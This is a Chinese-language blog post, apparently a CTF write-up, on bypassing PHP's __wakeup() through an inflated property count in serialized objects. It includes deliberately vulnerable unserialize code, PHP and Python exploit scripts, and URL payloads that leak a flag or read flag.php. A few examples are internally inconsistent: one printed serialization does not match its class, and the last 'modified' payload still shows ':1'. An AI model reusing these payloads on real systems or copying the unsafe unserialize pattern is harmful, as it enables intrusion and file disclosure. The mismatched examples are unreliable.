__wakeup()方法绕过

Security Classification: 【C-1】 | Publish Time:2024-07-12 | Category:漏洞分析 | Edit

Expiry Notice: The article was published three months ago. Please independently assess the validity of the technical methods and code mentioned within. :)

## [极客大挑战 2019]PHP

#### public、protected与private在序列化时的区别

```
protected 声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符)，而不是 \0 组合。这也许解释了，为什么如果直接在网址上，传递\0*\0username会报错，因为实际上并不是\0，只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
```

**：__wakeup()方法绕过**

```
作用：与__sleep()函数相反，__sleep()函数，是在序序列化时被自动调用。__wakeup()函数，在反序列化时，被自动调用。绕过：当反序列化字符串，表示属性个数的值大于真实属性个数时，会跳过 __wakeup 函数的执行。
```

关键代码：

```php
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

function __wakeup(){
        $this->username = 'guest';
    }

function __destruct(){
 if ($this->password != 100) {
 echo "NO!!!hacker!!!";
 echo "You name is: ";
 echo $this->username;echo "";
 echo "You password is: ";
 echo $this->password;echo "";
 die();
 }
 if ($this->username === 'admin') {
 global $flag;
 echo $flag;
 }else{
 echo "hello my friend~~sorry i can't give you the flag!";
 die();

}
    }
}
?>
```

大致思路就是通过反序列化来执行__destruct()中的echo $flag。两个条件$this->password == 100，$this->username === 'admin'。

直接将代码反序列化

exp:

```php
<?php
class Name
{
 private $username = 'admin';
 private $password = '100';
}
$a = new Name();
#进行url编码，防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

http://82296a94-13ea-4f20-8bfd-622d9c3787d7.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

```

![img](https://s2.loli.net/2022/05/12/NrIFgBRUlc7hbi6.png)

结果：
![](https://p0.meituan.net/xianfu/11ac0fd2217005bc77381c514282de3695366.png%40watermark=1&&object=L3dkY2Zsb3cvN2RiN2M4NTFjYmVjZDg4MTM1OTZjMTYzOWE2MzQ4MDM0MjY0LnBuZw==&p=8&t=90&x=10&y=10)

```
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

其中name后面的2，代表类中有2个属性，但如果我们把2改成3，就会绕过__wakeup()函数。而且因为是private声明，我们需要在**类名和字段名前面都会加上\0的前缀**

```
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
```

**注意：**
 这里使用python提交，因为他是私有类，
 **类名和字段名前面都会加上\0的前缀**

```
这里的 \0 表示 ASCII 码为 0 的字符(不可见字符)，而不是 \0 组合。这也许解释了，为什么如果直接在网址上，传递\0*\0username会报错，因为实际上并不是\0，只是用它来代替ASCII值为0的字符。必须用python传值才可以。
```

exp:

```php
import  requests

url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
```

exp2:
 如果不使用python提交
 在url栏中会出现\0
 有空白符，而复制的时候会丢失。
 **加上%00**

payload:

```
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
```

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

例子：

```php
<?php 
class test{
 public $name = 'xiaohua'; 
 private $address = 'shanxi'; 
 protected $age = '21';
}

$test1 = new test();
$object = serialize($test1);
print_r($object);
?>
```

**序列化之后打印出:**

```
O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}
```

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

**通过对网页抓取输出是这样的:**

```
O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
```

![img](https://s2.loli.net/2022/05/12/a3dirbQv9UsjxM5.png)

```
(1) __construct()：当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() ：unserialize()时会自动调用

(3) __destruct()：当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候（转换成字符串的时候）自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发
```

**漏洞影响版本：**

PHP5 < 5.6.25

PHP7 < 7.0.10

**漏洞产生原因：**

如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于真实的属性个数时，会跳过__wakeup的执行

[![复制代码](_wakeup%E6%96%B9%E6%B3%95%E7%BB%95%E8%BF%87.assets/copycode.gif)](javascript:void(0);)

```php
<?php 
//听说flag在flag.php里面？？？？？？
//来源：榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8"); 
 error_reporting(0); 
 class sercet{ 
 private $file='index.php'; 
 // __construc 每次创建新对象时调用，所以__construct非常适合做初始化
 public function __construct($file){ 
 echo "_construct执行 ";
 $this->file=$file; 
 } 
 //析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
 function __destruct(){ 
 echo " __destruct执行 ";
 // echo show_source($this->file,true); 
 echo @highlight_file($this->file, true); 
 } 
 
 //unserialize()先检查__wakeup是否存在，则会先调用__wakeup
 function __wakeup(){ 
 echo "__wakeup执行 ";
 $this->file='index.php'; 
 } 
 } 
 
 unserialize($_GET['val']); 
```

我们分析这道CTF题，题目告知我们说flag好像在flag.php中 又看到页面爆出这个源码  我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化

首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:

```
$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);
```

序列化后的new sercet("flag.php");

```
O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 
```

**在传递的时候切记根据private的特性加上:%00：**O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

**测试payload:**

```
http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 
```

我们注意观察  __wakeup这个函数执行了它里面的这段$this->file='index.php';代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

![img](https://s2.loli.net/2022/05/12/N7z6bQ9hmClORHi.png)**

如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示`对象属性个数`的值`大于` `真实的属性个数`时会跳过__wakeup的执行

我们只需要把对象原来属性值比原来的大就行我们把1改成2

修改前:**O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}**

修改后:**O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}**

**测试payload:**

```
http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 
```

这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

![img](https://s2.loli.net/2022/05/12/nlvBJxaWpyEYPeI.png)

Comment List

Comment

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as Reproduced

Please contact the blogger for authorization to reprint

__wakeup()方法绕过

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as ReproducedPlease contact the blogger for authorization to reprint

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as Reproduced

Please contact the blogger for authorization to reprint